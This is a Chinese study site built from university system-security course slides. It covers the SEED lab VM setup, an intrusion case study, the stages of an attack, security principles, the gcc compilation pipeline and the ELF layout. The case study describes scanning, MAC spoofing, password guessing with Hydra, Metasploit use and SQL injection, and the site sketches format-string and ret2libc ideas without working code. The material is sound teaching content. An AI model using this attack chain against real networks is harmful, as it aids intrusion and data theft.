把课件读成一条能走通的技术线
本站只使用 D:\gpt\系统安全 目录中的 7 份课件 PDF 与课堂共享代码整理而成。目标不是把 PPT 搬上网页,而是把“程序怎么被编译、被装载、被调用”“溢出为什么能改控制流”“防御为什么挡不住 ret2libc”讲成一条因果链。
怎么用这个站点
- 侧边目录按课程真实讲授顺序排列,共 11 章 + 1 个素材附录;滚动时高亮当前章。
- 进度:每章末尾有“标记本章已读”,状态存在浏览器 localStorage 中,关闭页面后再打开仍然保留。
- 搜索:对全部标题与正文做前端检索,结果显示所属章节与上下文片段,点击直接跳转。
- 自测:每章 3–5 题,选完点“检查答案”即时判分并给出解析;判断题把“正确/错误”当作 A/B 选项。
- 深色模式:右上角切换,选择也会被记住;移动端侧栏收进“目录”抽屉。
内容边界(重要)
课程 PDF 只覆盖到第 0、1 讲与第 2 讲(软件安全 1、2-1、2-2、2-3)。Return-to-libc、ROP、竞态条件、Meltdown/Spectre 在第 2 讲 2-3 的大纲中列出,但本批 PDF 没有展开讲解;这四章以课堂共享代码为主进行说明,凡属代码可读出的事实照实写,凡属课件未讲的背景一律标注“课件未展开”,不补成定论。第 2 讲 2-3 的正文实际讲的是防御机制、ASLR/PIE、GOT/PLT 与 CFI。
第 0 讲
考核方式、48 课时内容地图、SEED 虚拟机环境。给全课程定坐标。
第 1 讲
安全形势与真实案例、攻击五环节、信息系统的定义体系、CIA、安全策略/模型/机制、八大设计原则。
第 2 讲(1)
gcc 四阶段、ELF 段、进程内存布局、x86 寄存器与 EFLAGS、cdecl 调用约定、栈帧与序言/结语。
第 2 讲(2-1~2-3)
缓冲区溢出与整数溢出、格式化字符串任意读写、NX/Canary/ASLR/PIE/GOT/CFI。
课堂代码
8 个代码目录、40 个 .c、9 个 .s、4 个 Python 脚本,另含预编译 ELF 与 badfile 样本。
延伸材料
目录中已有前次整理的《格式化字符串漏洞-图解讲解》,可作第 6 章的补充图解。
阅读顺序建议
| 目标 | 建议路径 |
|---|---|
| 应付开卷考试 | 第 1 章 → 第 2 章 → 第 7 章(概念与原则题多) |
| 看懂溢出实验 | 第 3 章 → 第 4 章 → 第 7 章 → 第 8 章 |
| 理解格式化字符串 | 第 3 章(栈与参数)→ 第 6 章 → 第 7 章 |
| 做完 SEED 风格实验 | 第 1 章环境 → 第 4 章 → 第 8/9 章 |
本站内容为学习整理,不构成对任何真实系统的攻击指导;所有实验均应在课件提供的隔离虚拟机中进行。
课程与考核概览
先弄清“考什么、讲什么、在哪做实验”。这一章信息全部来自第 0 讲课件与《虚拟机镜像》说明。
1.1 授课与考核
授课对象为网安 2401–2404 班,课程分两段:袁斌负责第 7–12 周,羌卫中负责第 13–18 周。综合评分构成为:
| 项目 | 比例 | 形式 |
|---|---|---|
| 期末考试 | 80% | 开卷 |
| 平时成绩 | 20% | 课堂作业 |
“开卷”意味着考点更偏向概念辨析与原理判断:定义能否复述、原则能否对号入座、某防御能否挡住某攻击。本站每章的“易错点 / 考点”小段就是按这个风格写的。
1.2 48 课时的内容地图
课件把课程内容分成两大块。第一块是原理与机制:
- 信息系统安全概述
- 软件安全(本站第 3–9 章的主体)
- 系统模型
- 控制流劫持
- 控制流完整性
- 竞态条件
第二块是安全模型与机制:
- 信息系统安全模型与机制:信息安全模型、访问控制机制、安全体系结构、身份认证
- 典型信息系统安全:操作系统安全、虚拟化安全、云计算系统安全、IoT 系统安全
- 协议安全与形式化分析等
注:本批 PDF 只到第 2 讲,后面这些主题没有对应课件,本站不展开。
1.3 参考资料
- 石文昌《信息系统安全概论》(第 2 版),电子工业出版社——课程主教材。
- Stanford CS155(Computer Security)、CMU 18-732(Secure Software System)、Cornell CS6431(Security and Privacy Technologies)。
- SEED Labs(Wenliang Du),
handsonsecurity.net;课程实验代码的组织方式与 SEED 实验高度一致。 - 刘建伟等《信息系统安全实验教程》,清华大学出版社。
- 课程课件发布在
smartcourse.hust.edu.cn。
1.4 实验环境:SEED Ubuntu 虚拟机
《___虚拟机镜像.pdf》是 SEED 官方 VirtualBox 使用手册。要点:
- 默认账号
seed / dees;root 账号root / seedubuntu(平时不需要登录 root)。 - 虚拟机是 32 位 Ubuntu,新建虚拟机时不要选 64 位 Ubuntu。
- 推荐 VirtualBox 6.0.4;内存 1024 MB 可用,建议 2 GB;显卡选 VBoxVGA。
- 多机实验要克隆虚拟机,克隆时必须重新初始化 MAC 地址,否则两台机器 IP 相同。
- 需要虚拟机互通且能上网,网卡用 NAT Network(不是默认 NAT,也不是 Host-only)。
- 做危险操作前先打快照;恢复快照需先关机。
- 共享文件夹:宿主机建目录 → VirtualBox 设置里添加 → 虚拟机内
sudo mount -t vboxsf -o rw,uid=1000,gid=1000 share /home/seed/host。
0xbfff…)、4 字节返回地址、unsigned short 回绕等 32 位特征;64 位地址空间下偏移、地址宽度与 ASLR 熵都不同,课件中的具体数值不能直接照搬。
信息系统安全概论
第 1 讲做了三件事:用真实事件说明“为什么必须学”;用一次完整的入侵说明“攻击是怎么串起来的”;用一组定义把“安全”变成可讨论、可设计的东西。
2.1 安全形势:课件用的真实事件
课件以战争与关键基础设施事件开篇,强调信息系统已成为攻防主战场:
- 海湾战争(1990–1991):课件称其为“世界上首次全面信息战”;美军向装有病毒(AFgl)的打印机设备发送指令,使伊拉克防空指挥系统瘫痪。
- 科索沃战争(1999):电子专家侵入南联盟防空体系计算机系统,使其雷达屏幕上出现并不存在的目标;“梅利莎”“疯牛”病毒一度使北约计算机通信网瘫痪。
- 震网 Stuxnet(2010):美以研发,伊朗约 60% 电脑感染,目标为核电站离心机;主要攻击 SIMATIC WinCC,利用 MS08-067、MS10-046、MS10-061、MS10-073、MS10-092 等多个漏洞。
- 顿巴斯战争(2014):火炮定位 App“定位-D30”被“梦幻熊”组织篡改植入后门,把火炮位置发给监听者。
- 乌克兰西部电网(2015):从邮件系统渗透内网,操纵断路器使电网解体,140 万居民断电。
- 委内瑞拉电网(2020):765 kV 干线遭攻击,缺少风险阻断机制,停电蔓延 11 个州。
- 伊朗纳坦兹(2021):断电事故,课件注明“攻击路径尚无定论”。
- 黎巴嫩通信设备爆炸(2024):BP 机、对讲机爆炸,分析称炸药伪装成电池绕过安全检查——课件把它归为供应链安全问题。
课件还给出漏洞数量的量级:2019 年上半年国家信息安全漏洞共享平台收录通用型漏洞 5859 个(高危 2055);2021 年工信部平台累计收集漏洞 143319 个(高危 40498、中危 86217)。这些数字用来说明“漏洞无处不在”,不需要精确记忆到个位,记住量级与高危占比即可。
2.2 一个完整攻击案例:从公开信息到 100 万条信用卡
课件用一个连锁零售企业被入侵的案例,把攻击拆成可复用的步骤。这条线索非常适合作为全课程的“目录”:
- 动机与情报:媒体报道公司网点遍布全国 → 攻击者想盗信用卡数据 → 查 InterNIC 公开注册信息,得到公司 IP 段
a.b.c.0~255。 - 准备与反检测:找替罪机器装 FragRouter,重新分片以规避不具备重组能力的 IDS。
- 扫描:Cheops-ng 发现三台主机;Nmap SYN 扫描发现 TCP 80(Web);Nmap UDP 扫描发现 UDP 53(DNS);Firewalk 探明包过滤防火墙只放行 80/53 进入 DMZ;Nessus 漏洞扫描显示 DMZ 无可利用漏洞。
- 换入口:无线:Wellenreiter 探到 SSID
golucorp041;用该 SSID 直接连无响应,ifconfig伪造 MAC 后成功接入并拿到 DHCP 地址。 - 进入销售点 A:Nmap ping 扫描找到 POS 与服务器 IP;
dig反查得域名store041.internal_goodluck.com;SYN 扫描发现 TCP 5900(VNC);THC Hydra 猜出账号operator、口令rotarepo;登录后在某文件里发现 10 万张信用卡记录。 - 横向到销售点 B:上一台 VNC 服务器 IP 为 w.x.y.z,试 w.x.y.z+1 成功,账号口令相同。
- 换更强的手段:A 点的端口扫描显示运行常见备份程序且存在缓冲区溢出漏洞 → 用 Metasploit 打 B 点,拿到 shell → 在 B 上装嗅探程序,发现 B 向 C 发交易授权请求。
- 打进总部:C 服务器 TCP 443 开放;原 VNC 口令与 Hydra 均失败;Paros Proxy 扫 Web 应用,在 cookie 中发现 SQL 注入 → 注入成功,后端数据库拿到 100 万张信用卡资料。
课件在最后标注了两条技术归属:缓冲区溢出 → 软件安全;SQL 注入 → Web 安全。这正是本站第 4 章之后的内容位置。
西工大事件:国家级攻击的组织化样本
课件用 10 页篇幅复盘 2022 年西北工业大学遭 NSA“特定入侵行动办公室”(TAO)攻击的调查报告,关键事实:
- TAO 隶属 NSA 信息情报部数据侦察局,2000 多名军人及文职人员,下设 10 个单位。
- 使用 41 种专用网络攻击武器装备,通过 17 个国家的 49 台跳板机与 5 台代理服务器发起上千次攻击;跳板机 IP 均不属于“五眼联盟”国家,约 70% 位于中国周边(日、韩等)。
- 六个阶段:身份隐藏(匿名注册、掩护公司买 IP)→ 隐蔽通道(控制通道与攻击通道分离,部署“酸狐狸”FOXACID)→ 网络突破(0day/nday,武器“剃须刀”“孤岛”“酸狐狸”)→ 网络拓展(“二次约会”中间人、“饮茶”嗅探口令)→ 网络控守(“NOPEN”“怒火喷射”等木马)→ 隐蔽消痕(“吐司面包”清 utmp/wtmp/lastlog)。
2.3 攻击的五个环节
课件把安全攻击概括为五个阶段,这是本章最该背下来的框架:
| 环节 | 课件给出的典型手段 |
|---|---|
| 侦察 Reconnaissance | 社会工程学、翻垃圾、受害者网站、Whois/InterNIC/Uwhois、DNS 服务器、Sam Spade 等工具 |
| 扫描 Scanning | 网段/设备扫描 Cheops-ng、端口扫描 Nmap、防火墙扫描 Firewalk、无线扫描 Wellenreiter、拨号扫描 THC-Scan、漏洞扫描 Nessus |
| 获取访问 Gaining Access | 攻击操作系统(缓冲区溢出、口令攻击);攻击 Web 应用(账户捕获、会话捕获、SQL 注入、浏览器漏洞);攻击网络(嗅探、IP 欺骗、会话劫持);拒绝服务 |
| 维持访问 Maintaining Access | 木马、后门;应用层木马后门包括远程控制程序、僵尸程序(Bot)、间谍软件 |
| 掩盖踪迹 Covering Tracks | 修改日志中反映攻击行为的信息:失败登录尝试、特殊账户使用、安全敏感命令运行 |
2.4 定义体系:主机系统、信息系统与安全性
课件用编号定义的方式建立讨论基础,复习时按“定义 1.x”顺序记:
- 定义 1.1 一台计算机的所有硬件和软件构成的整体,称为一个主机系统。
- 定义 1.2 一套应用软件及支撑其运行的所有硬件和软件构成的整体,称为一个信息系统。
- 定义 1.3 若信息系统 A 的某些功能需由主机系统 H 实施,称 A 依赖 H,或 H 承载 A。
- 引理 1.1 承载任何一个信息系统所需的主机系统数量是有限的。
- 定义 1.4 网络设施对信息系统的承载(同构定义)。
- 定理 1.1 任何信息系统都只需由有限数量的主机系统和有限数量的网络设施承载。
- 定义 1.5 信息系统的安全性指信息系统具有的降低安全攻击风险的特性,作用体现在两点:降低攻击成功的可能性;降低成功攻击造成的损害。
- 定理 1.2 主机系统安全与网络安全相结合,是信息系统安全的有效方法。
- 推论 1.1 信息系统安全问题:涉及硬件安全和软件安全;以主机系统安全为核心;需要兼顾网络安全。
2.5 经典三要素:CIA
| 要素 | 课件定义 | 被破坏的例子 |
|---|---|---|
| 机密性 Confidentiality(定义 1.6) | 防止私密的或机密的信息泄露给非授权实体的属性 | 信用卡资料被读出、/%s 泄栈 |
| 完整性 Integrity(定义 1.7) | 分数据完整性(数据含软件代码只能按授权方式修改)与系统完整性(系统未受未授权操控、完好执行预定功能) | 用 %n 改 secret;用溢出改返回地址 |
| 可用性 Availability(定义 1.8) | 确保系统及时工作并向授权用户提供所需服务的属性 | %s%s%s 造成崩溃;DoS |
2.6 安全策略、安全模型、安全机制
三个概念层层落地,课件各给了三种表述,理解“策略是规定、模型是形式化、机制是实现”即可:
- 安全策略(定义 1.9–1.11):组织为达到安全目标,如何管理、保护和发布信息资源的法律、规章和条例的集合;为达到一组安全目标而设计的规则集合;关于允许什么和禁止什么的规定。
- 安全模型(定义 1.12–1.13):拟由系统实施的安全策略的形式化表示;用更形式化或数学化的术语对安全策略的重新表述。定义 1.14 主动发起访问的实体为主体,被动接受的为客体。
- 安全机制(定义 1.15–1.17):实现安全功能的逻辑或算法;在硬件和软件中实现特定安全功能的逻辑或算法;实施安全策略的方法、工具或规程。
课件用访问控制矩阵模型作为“安全模型”的示例(行是主体、列是客体、格中是权限),并提到路由器配置“只对特定机器开放访问”即白名单 allow IP/MAC,是从策略到机制的具体化。
2.7 安全机制设计八大原则
这是开卷考试的高频考点,必须能把“原则名—含义—典型例子”对上号:
| 原则 | 课件含义 | 记忆抓手 |
|---|---|---|
| ① 经济性 Economy of Mechanism | 机制尽可能简单短小,便于代码审查排查缺陷 | 越简单越好审 |
| ② 默认拒绝 Fail-Safe Defaults | 没有授权信息就不允许访问 | 默认关门 |
| ③ 完全仲裁 Complete Mediation | 授权检查覆盖任何一个访问操作;机制要能标识访问请求的所有源头 | 每次都查,不漏一次 |
| ④ 开放设计 Open Design | 不把机制设计当秘密;安全性应依赖密钥、口令等易保护元素,而非设计保密 | 算法公开、密钥保密 |
| ⑤ 特权分离 Separation of Privilege | 细分特权分配给多个主体,减少每个特权拥有者的权力 | 一把钥匙开不了门 |
| ⑥ 最小特权 Least Privilege | 每个程序和用户只拥有完成工作所需的最小特权集合 | 够用就行 |
| ⑦ 最少公共机制 Least Common Mechanism | 减少多个用户共用、被全体依赖的机制数量 | 少共用,少连坐 |
| ⑧ 心理可接受 Psychological Acceptability | 机制交互良好、安全目标与机制吻合;例:口令系统 | 别难用到用户绕过 |
易错点
课件第 103 页留了一道判断题:“某项系统功能以共享库形式提供、由用户按需调用,而不是以系统服务形式提供给全体用户,这种做法主要是考虑最小特权原则。”——这句话的落点是减少公共机制(最少公共机制原则),不是最小特权。两者容易混:最小特权讲“单个主体权限最小”,最少公共机制讲“共用机制最少”。
2.8 防护基本原则与几个清醒的结论
- 整体性原则:从整体上构思安全框架,合理选择与布局技术组件,使其相互关联、补充。
- 木桶原理:容量取决于最短的木板;信息安全是系统工程,每个环节都安全才安全。
- 分层性原则:不能依赖单一机制;主机身份认证、访问控制、审计、防病毒 → 基于主机的 IDS → 网络访问控制(内部防火墙)→ 网络 IDS → 网络防火墙。
- 最小特权原则:管理员权限划分为系统管理员、系统审计员、系统安全员。
课件的“几点认识”值得原样记住:没有绝对的安全;安全是一个动态的过程;人往往是安全机制中最薄弱的环节;系统越安全,给用户带来的不便就越多。课件还引用 Gollmann 的“安全的根本困境”(用户有具体安全需求却没有安全专业知识),以及 Hellman 的权衡观、Sandhu 的“Good Enough Security”(“尽可能安全到必要程度,但不要更安全”)。“安全通常是设计完成后的事后考虑,而不是设计过程的一部分”是课件明确批评的现象。
系统模型:从源代码到执行
这一章是全部溢出攻击的“地形图”。只要记住三件事——代码怎么变成机器指令、进程内存长什么样、函数调用时栈怎么长——后面的偏移计算就都是算术题。
3.1 程序为什么会有(安全)bug
课件用一条链表示四类失真点:
- 程序想法 → 源代码:想法没被准确翻译(Idea poorly translated to source code);
- 源代码 → 编译产物:编译器自身有 bug(Compiler bugs);
- 编译产物 → 执行前:代码被篡改(Code tampered with before execution);
- 执行中:代码或机器状态被篡改(Code or machine state tampered with during execution)。
课件引用了 PLDI 2011 的《Finding and Understanding Bugs in C Compilers》与 GCC bug 42952 作为“编译器也会错”的实证:一个本应返回 0 的函数,在有 bug 的编译器版本下返回 1。因此编译器本身也需要测试:
- 差分测试:同一份源码用不同编译器编译,或同一编译器不同优化选项编译,比较输出是否相同。
- 蜕变测试:利用应有性质构造等价输入,例如
sin(x)与sin(x+2π)输出应相同;删除或乱序未被执行的代码,结果应不变。
3.2 编译四阶段:42.c 的一生
本节只跟一个程序走:素材里的 42.c,14 行代码(第 16–19 行是编译命令注释),做的事只有一件——把 40+2 算出来,交给 answer() 用 printf 打印。它旁边还躺着四个真实产物:42.i(38 232 字节)、42.s(1 128 字节)、42.o(1 192 字节)、42(7 368 字节)。
先给一句总纲:四个阶段不是四次“翻译”,而是四道“各自解决一个问题”的工序。把“问题”先摆出来,名词才有落点。
3.2.1 四个阶段各自要解决什么问题
- 预处理要解决:C 没有模块系统。函数声明散落在几百个头文件里,源码里只有一行
#include,编译器不可能自己去猜printf长什么样——所以先派一个“只会做文本替换”的程序,把所有该出现的文字都摆到同一个文件里。 - 编译要解决:文本不等于语义。
x = 40 + 2对人是一句赋值,对机器只是一串字符;必须先切词、建树、检查类型,再变成与具体 CPU 无关的中间表示,才有地方做优化。 - 汇编要解决:汇编助记符 CPU 不认。但这一步还不敢定地址——
printf在哪个库、最终落在哪个地址,此刻没人知道,于是产物里留空位,等链接来填。 - 链接要解决:一个程序由很多
.o和若干库组成。谁引用了谁、符号在哪、每个段最终放到哪个虚拟地址、外部依赖怎么接上——这些只有把所有碎片摆到一起才能回答。
文本拼装:头文件、宏、条件编译
语义分析 + 优化 + 生成汇编
机器码 + 符号表 + 重定位表
符号解析 + 地址分配 + 重定位
图:四阶段流水线。箭头上的产物都真实存在于 compile-42/ 目录,可直接用编辑器打开。
| 阶段 | 真实命令 | 产物(素材实测大小) | 这一阶段结束时的状态 |
|---|---|---|---|
| 预处理 | gcc -E 42.c -o 42.i | 42.i:38 232 B / 2 084 行 | 一个完整的翻译单元,仍全是文本,一行机器码都没有 |
| 编译 | gcc -S 42.c -o 42.s | 42.s:1 128 B / 68 行 | 汇编文本,符号名还在,地址全是符号或 0 |
| 汇编 | gcc -c 42.c -o 42.o | 42.o:1 192 B | 机器码就位,但 answer 的地址仍是 0,printf 仍是“未定义” |
| 链接 | gcc 42.c -o 42 | 42:7 368 B | 可执行 ELF,入口 0x8048310,所有地址都已定死 |
3.2.2 第一步 预处理:把文本拼装完,别的什么都不干
先讲它要避免的后果:如果编译器直接读 42.c,它看到的是 #include <stdio.h> 这一行,却不知道 printf 有几个参数、返回什么。要么编译器自己内置一套头文件知识(换个头文件就崩),要么先把头文件“抄”进来。C 选了后者。
预处理(Preprocessing):只按行首指令做文本替换、不检查语法,输出一个完整文件。类比:装修前把图纸上提到的所有材料清单摊在桌上,还没开始动工。此刻的 42.c:整个程序仍然可读,但被头文件“灌”成了 2 084 行——你自己的代码只在第 2075–2083 行。
- 头文件包含(
#include)的本质是文本插入,不是“引用一个库”,也不是“链接”。所以两次包含同一个头文件就会得到两份声明,才需要#ifndef守卫。 - 宏展开(Macro Expansion)同样是纯文本替换,没有类型、没有求值次数保证。
#define MAX(a,b) ((a)>(b)?(a):(b))写成MAX(i++, j++)时,较大的那个参数会被加两次——这是“宏不是函数”的经典坑。 - 条件编译(
#if / #ifdef / #else / #endif)让同一份源码在不同平台生成不同内容;#把参数变成字符串,##把两个记号粘成一个新标识符。
证据在这里:42.i 里能看到预处理器的“记账”方式——每切换回原文件就插一行 # 行号 "文件名",编译器靠它把错误信息报回 42.c 的真实行号。
# 3 "42.c" 2
# 6 "42.c"
void answer(char * name, int x){
printf("%s, the answer is %d\n", name, x );
}
void main(int argc, char *argv[]){
int x;
x = 40 + 2;
answer(argv[1], x);
}
注意第 2081 行:源码里写的是 x = NUMBER + 2;,这里已经是 x = 40 + 2;——NUMBER 这个记号在预处理结束后彻底消失。这就是查看 .i 最有用的一点:宏展开后到底是什么样,一看便知。
翻译单元(Translation Unit):一个 .c 加上它包含的所有头文件,展开后的整体。一个翻译单元编译成一个 .o,这也是“一个 .c 一个目标文件”的由来。
3.2.3 第二步 编译:把 C 的语义变成汇编
要避免的后果:如果直接把字符映射成指令,a*b+c 和 a*(b+c) 会被同样处理,优化就无从谈起。所以编译器先把源码变成有结构的表示,再在这个结构上做检查与优化。
- 词法单元(Token):把字符流切成“词”,如标识符
answer、字符串"%s, the answer is %d\n"、运算符=。类比:把一句话切成一个个词。 - 抽象语法树(AST):按语法把词组成树。
x = 40 + 2是一棵“赋值(变量, 加法(常量, 常量))”的树。类比:给句子划主谓宾。类型检查就在这棵树上做。 - 中间表示(IR):把树降成一种与 CPU 无关的规范形式(GCC 内部是 GIMPLE/RTL)。类比:先把中文翻成一份“翻译草稿”,再从草稿译成各国语言——优化就发生在草稿上。
- 优化:在 IR 上做常量折叠、删除死代码、内联等;最后才选指令、分配寄存器,输出汇编。
42.s 的真实开头就体现了“字符串常量单独放、代码放 .text”的分工:
.file "42.c" .section .rodata .LC0: .string "%s, the answer is %d\n" .text .globl answer .type answer, @function answer: .LFB0: .cfi_startproc pushl %ebp movl %esp, %ebp subl $8, %esp subl $4, %esp pushl 12(%ebp) pushl 8(%ebp) pushl $.LC0 call printf addl $16, %esp nop leave ret .cfi_endproc .LFE0: .size answer, .-answer
三点读法:① .LC0 是编译器给字符串起的内部标签,它被放进 .rodata(只读数据);② call printf 只写了名字,没写地址;③ .cfi_* 是给调试器和异常展开用的帧描述,不产生指令,读汇编时可以跳过。
优化会改变你看到的汇编。同一段 x = NUMBER + 2,-O0 下是“先把 42 存进栈上的 x,再取出来”;-O2 下常量折叠后 42 直接进寄存器,甚至整个 answer() 被内联进 main。(-O2 的具体输出为示意,课件未展开优化细节;调试与算偏移一律用 -O0。)
3.2.4 第三步 汇编:机器码 + 两张“待办表”
要避免的后果:汇编里 call printf 的 printf 只是一个名字,CPU 不认名字。汇编器能做的是把助记符翻成字节、把名字记进表里、把还不知道的地址留成空位。
42.o 的真实结构(用 ELF 解析读出,与 readelf -S / nm 等价):
| 项目 | 实测值 | 说明 |
|---|---|---|
| 文件大小 / 类型 | 1 192 B / ET_REL(可重定位) | 还不是可执行文件,没有入口地址 |
.text | 89 B,起始地址 0 | 两个函数的机器码,地址全是 0,等链接来摆 |
.rodata | 22 B | 正是 "%s, the answer is %d\n" 加结尾 0 |
.data / .bss | 各 0 B | 42.c 没有全局变量或静态变量,两节为空 |
.symtab | 192 B,12 项 | answer(值 0,大小 31)、main(值 0x1f,大小 58)、printf(UND,未定义) |
.rel.text | 24 B,3 项 | 偏移 0x10(引用 .rodata)、0x15(引用 printf)、0x49(引用 answer) |
目标文件(Object File):已经含机器码、但地址与外部符号都还没定下来的中间文件。类比:零件已加工好,还没装配。
符号表(Symbol Table):记录“本文件定义了哪些名字、引用了哪些还不存在的名字”。printf 的 shndx=0 就是 UND——它在别的库里。
重定位(Relocation):指令里那些“待填的地址”及其填写规则。42.o 的 3 条记录正是三个空位。
00000000: 55 push ebp 00000001: 89e5 mov ebp, esp 00000003: 83ec08 sub esp, 8 00000006: 83ec04 sub esp, 4 00000009: ff750c push dword [ebp+0xc] ; 第 2 个参数 x 0000000c: ff7508 push dword [ebp+0x8] ; 第 1 个参数 name 0000000f: 6800000000 push 0 ; ← 空位:本应是 .LC0 的地址 00000014: e8fcffffff call 0x15 ; ← 空位:rel32 = -4,目标其实是“下一条” 00000019: 83c410 add esp, 0x10 ; 调用者清栈 0000001c: 90 nop 0000001d: c9 leave 0000001e: c3 ret
这两处“空位”就是本阶段最重要的观察点:push 0 里的 0 和 call 0x15 里的 -4 都不是最终代码,而是留给链接器填的坑。0x15 恰好是这条 call 的下一条指令地址,所以它的“相对位移 -4”只是占位,别无他意。
3.2.5 第四步 链接:符号解析 + 地址分配 + 重定位
要避免的后果:没有链接,每个 .o 都以为自己从 0 开始,两个 .o 都调用 printf 却各指一处,程序根本拼不起来。
链接(Linking):把多个目标文件与库合成一个整体,做三件事——符号解析(每个 UND 都找到定义)、地址分配(每个节放到哪个虚拟地址)、重定位(把空位改成最终值)。
成品 42 的真实结果(从 ELF 头与反汇编读出,与 readelf -h / objdump -d 等价):
| 符号 / 结构 | 42.o 里 | 42 里(链接后) |
|---|---|---|
answer | 地址 0,大小 31 | 地址 0x804840b,39 字节(含对齐) |
main | 地址 0x1f,大小 58 | 地址 0x804842a |
printf 调用 | call 0x15(占位) | call 0x80482e0(printf@plt) |
| 格式串 | push 0(占位) | push 0x80484f0(.rodata 内) |
| 程序入口 | 无 | 0x8048310(_start,来自 crt) |
静态链接与动态链接的差别,本质是“把库代码抄进来”还是“留个名字,运行时再找”:
| 对比项 | 静态链接 | 动态链接(42 采用) |
|---|---|---|
| 库代码 | 复制进可执行文件 | 不复制,运行时由加载器装入共享库 |
| 体积 / 依赖 | 体积大,但换机器照跑,不挑 libc 版本 | 体积小,但依赖目标机的 libc |
| 外部函数地址 | 链接时就定死 | 第一次调用时才由动态加载器写入 GOT |
| 漏洞利用的影响 | 地址稳定,便于写死 gadget | 需先泄露库地址(ret2libc / ROP 的前提) |
动态链接(Dynamic Linking):可执行文件只记住“我要 printf”,真实地址运行时再填。这就必须有两张表配合——过程链接表(PLT)给调用方一个固定的“跳板”地址,全局偏移表(GOT)存放真实地址。
42 里的真实证据:.plt 共 48 B(0x80482d0 起的解析桩 + 两个函数桩),printf@plt 在 0x80482e0;对应的 GOT 槽位在 0x804a00c,初始值是 0x80482e6(指回 PLT 内部的解析代码),第一次调用后才被改写成 libc 里的真实地址。
undefined reference to 'printf' 这句报错,说的正是符号解析失败:链接器在所有目标文件和库里都找不到 printf 的定义。常见原因:忘了链库、函数名拼错、只写了声明却没写实现(声明阶段不报错,链接阶段才炸)。
3.2.6 同一段代码的四张面孔
把四个产物摆在一起对照,是理解四阶段最快的办法。取 42.c 里的三样东西:宏、字符串、函数调用。
| 看什么 | 42.c(第 4、7、13 行) | 42.i(2081 行) | 42.s(第 3–4、20 行) | 42.o / 42(机器码) |
|---|---|---|---|---|
宏 NUMBER | #define NUMBER 40 | 已变成字面量 40 | movl $42, -12(%ebp)(常量已折叠) | c7 45 f4 2a 00 00 00 |
| 字符串 | "%s, the answer is %d\n" | 原样保留在源码行 | .LC0: .string "...%d\n",放 .rodata | 22 字节常量;链接后落在 0x80484f0 |
| 调用 printf | printf(...) | 原样保留 | call printf(只有名字) | 42.o:call 0x15(占位);42:call 0x80482e0 |
| main 的返回值 | 无 return | 无 | 结尾 leave; ret | 函数末尾自动补出的返回序列 |
表:同一段语义在四个产物里的样子。42.i 行号、42.s 行号、42.o 字节与 42 地址均为实测;-O0 下 42 的常量折叠来自编译器默认行为。
3.2.7 一个必须记住的结论:printf 的地址编译期不知道
沿着上表最后一行往深里想一步:42.c 调用 printf 时,printf 的地址在编译期、甚至链接期都不是真正可用的地址。
- 编译期:只有名字,
call printf连地址字段都没有; - 汇编期:只有占位
call 0x15; - 链接期:只能填成 PLT 跳板
0x80482e0,因为 libc 装到哪还不知道; - 运行期:第一次调用进 PLT,动态加载器把 libc 里真正的 printf 地址写进
0x804a00c,之后才“直达”。
system 的地址都不同,所以攻击者不能“编译时写死”。但也正因为 libc 是整块装进来的,库内各函数的相对偏移固定:只要泄露任意一个已知函数的真实地址(比如通过 GOT 里的 printf),就能算出 system 的地址。这就是第 8 章 ret2libc 的出发点;而“只能靠 ret 结尾的小片段拼出调用链”,则是第 9 章 ROP 要解决的问题。
常见误解
- 「
gcc -c就是编译完成」——-c只到.o(汇编阶段),还差链接;.o不能直接运行。 - 「
.i是精简后的源码」——恰好相反,它是被头文件灌满的膨胀版:42.c 的 14 行代码 → 42.i 2 084 行。 - 「头文件里就是库的实现」——头文件只有声明,实现(
printf的函数体)在 libc 里,靠链接或动态加载拿到。 - 「宏就是函数」——宏没有类型检查,也不保证只求值一次,
MAX(i++, j++)会出错。 - 「汇编阶段就把地址定死了」——
42.o的answer地址是 0,printf是 UND,地址是链接器给的。 - 「链接错误等于代码写错了语法」——
undefined reference是链接器的抱怨,语法检查早就通过了。
gcc -E 42.c -o 42.i 这一步做了什么?单选#define MAX(a,b) ((a)>(b)?(a):(b)),调用 MAX(i++, j++) 的结果为什么不可靠?单选undefined reference to 'foo',最准确的理解是?单选下一节要用到这里的什么链接器把 .text、.rodata、.data 摆进了固定的虚拟地址——这正是 3.3 要回答的“可执行文件被装进内存后长什么样”。而 printf 地址只有运行时才知道这一点,会在第 7 章(绕过防御)和第 8 章(ret2libc)里反复出现。
3.3 可执行文件与进程内存
上一节结束时,42 已经是一个“所有地址都定死”的 ELF 文件。本节要回答两件事:这个文件怎么被装进内存,以及装进去之后进程的地址空间长什么样。先把结论放这儿:文件里叫“节”,内存里叫“段”,函数调用在栈上留痕——后者就是第 4 章所有偏移计算的地基。
3.3.1 ELF 是“格式”,不是“程序”
要避免的后果:如果每个编译器、每个平台各自定义“代码放哪、数据放哪”,操作系统就得为每种产物写一套加载逻辑。于是有了一个统一契约。
ELF(Executable and Linkable Format):一种规定“代码、数据、符号、重定位怎么摆放”的文件格式规范。类比:集装箱标准——箱子里装什么由货主决定,但外形尺寸与吊装孔必须统一,港口才不用为每票货改造吊车。此刻的 42.c:42.o 是 ET_REL(可重定位,类型值 1),42 是 ET_EXEC(可执行,类型值 2)——同一个格式,两种用途。
“可执行文件”是用途,ELF 是格式。同一份 ELF 规范也用来描述 .o 和 .so,所以用同一个工具(readelf)就能看这三种东西。
3.3.2 节与段:链接视图与执行视图
困惑常出在这里:同一个 ELF 文件,readelf -S 列出 30 个节,readelf -l 只列出 9 个程序头、其中 2 个可加载段。两个数字都对,因为它们回答的是两个不同的问题。
- 节(Section):链接时关心的分类单位,如
.text、.rodata、.data、.symtab。readelf -S看的是节区头表:每个节叫什么、多大、在文件哪个偏移、属于哪一类。它服务于“链接器怎么拼”。 - 段(Segment):运行时关心的映射单位,一个段把若干权限相同的节包在一起。
readelf -l看的是程序头表(Program Header Table):每段从文件哪里开始、装到哪个虚拟地址、给读/写/执行中的哪些权限。它服务于“内核怎么装”。
42 的实测对应关系(真实值):
| 可加载段(readelf -l) | 文件范围 → 虚拟地址 | 权限 | 包含哪些节(readelf -S) |
|---|---|---|---|
| LOAD #1 | off 0x0 → 0x8048000,filesz 0x628 | R + X(flags=5) | .interp、.init、.plt、.text、.fini、.rodata、.eh_frame |
| LOAD #2 | off 0xf08 → 0x8049f08,filesz 0x114,memsz 0x118 | R + W(flags=6) | .init_array、.fini_array、.dynamic、.got、.got.plt、.data、.bss |
